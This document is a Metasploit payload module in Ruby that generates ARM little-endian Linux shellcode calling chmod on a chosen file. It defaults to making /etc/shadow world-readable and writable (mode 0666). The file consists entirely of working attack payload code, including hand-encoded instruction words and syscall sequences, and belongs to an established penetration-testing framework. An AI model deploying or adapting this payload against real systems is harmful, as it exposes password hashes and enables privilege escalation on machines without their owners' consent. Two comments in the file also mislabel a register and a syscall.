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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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module MetasploitModule
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  CachedSize = 40
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  include Msf::Payload::Single
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  def initialize(info = {})
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    super(
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      merge_info(
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        info,
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        'Name' => 'Linux Chmod',
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        'Description' => 'Runs chmod on the specified file with specified mode.',
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        'Author' => 'bcoles',
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        'License' => MSF_LICENSE,
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        'Platform' => 'linux',
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        'Arch' => ARCH_ARMLE,
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        'References' => [
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          ['URL', 'https://man7.org/linux/man-pages/man2/chmod.2.html'],
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          ['URL', 'https://github.com/bcoles/shellcode/blob/main/armle/chmod/chmod.s'],
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        ]
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      )
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    )
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    register_options([
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      OptString.new('FILE', [ true, 'Filename to chmod', '/etc/shadow' ]),
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      OptString.new('MODE', [ true, 'File mode (octal)', '0666' ]),
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    ])
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  end
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  # @return [String] the full path of the file to be modified
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  def chmod_file_path
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    datastore['FILE'] || ''
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  end
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  # @return [Integer] the desired mode for the file
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  def mode
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    (datastore['MODE'] || '0666').oct
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  rescue StandardError => e
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    raise ArgumentError, "Invalid chmod mode '#{datastore['MODE']}': #{e.message}"
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  end
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  # @return [Integer] ARM LE instruction to load mode into r2 register
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  # For example: 0xe30011b6 ; mov r1, #0666 ; loads 0x1b6 (0o666) into r2
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  def chmod_instruction(mode)
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    0xe3000000 | ((mode & 0xF000) << 4) | (1 << 12) | (mode & 0x0FFF)
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  end
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  def generate(_opts = {})
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    raise ArgumentError, "chmod mode (#{mode}) is greater than maximum mode size (0xFFF)" if mode > 0xFFF
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    shellcode = [
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      0xe28f0014, # add r0, pc, #20  # pointer to path
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      chmod_instruction(mode), # movw r2, <mode>
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      0xe3a0700f, # mov r7, #15      # __NR_fchmodat
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      0xef000000, # svc 0x00000000   # syscall
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      0xe3a00000, # mov	r0, #0       # exit code = 0
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      0xe3a07001, # mov r7, #1       # __NR_exit
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      0xef000000  # svc 0x00000000   # syscall
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    ].pack('V*')
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    shellcode += chmod_file_path + "\x00"
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    # align our shellcode to 4 bytes
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    shellcode += "\x00" while shellcode.bytesize % 4 != 0
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    super.to_s + shellcode
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  end
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end
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